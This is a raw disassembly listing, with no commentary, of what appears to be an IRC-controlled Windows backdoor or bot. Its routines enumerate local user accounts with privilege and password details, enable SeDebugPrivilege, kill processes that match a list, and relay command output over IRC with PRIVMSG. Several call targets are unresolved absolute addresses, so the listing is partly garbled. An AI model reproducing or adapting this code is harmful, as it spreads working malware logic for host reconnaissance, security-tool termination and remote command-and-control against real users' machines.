mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_0 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CE8
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439ED8
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EA4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5E0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 2700000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3DC
push offset unk_43A20C
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3DC
push eax
push offset dword_43A1E0
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 27505F0h
nop
push eax
call dword_4CB9B8
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
nop
call near ptr 26A0000h
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8
mov esi, dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8
test eax, eax
jz loc_419DF6
mov edi, dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call near ptr 2870000h
nop
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_43A298
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
nop
call near ptr 27409C5h
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 27409C5h
nop
test eax, eax
jnz short loc_419E33
push edi
call esi
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A438
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F0
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 2720000h
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 26C079Eh
nop
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
nop
call near ptr 27409C5h
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
call near ptr 26A0000h
nop
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; ---------------------------------------------------------------------------
byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo
dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
dd 6555E800h, 0EB90022Ah
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC4C
nop
call near ptr 273186Ah
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
nop
call near ptr 26C04BFh
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC48
nop
call near ptr 28709B0h
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
nop
call near ptr 28705ACh
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
nop
call near ptr 26C04BFh
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC48
nop
call near ptr 27310DDh
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC88
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
nop
call near ptr 2720000h
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
nop
call near ptr 2720000h
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call near ptr 2720000h
nop
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
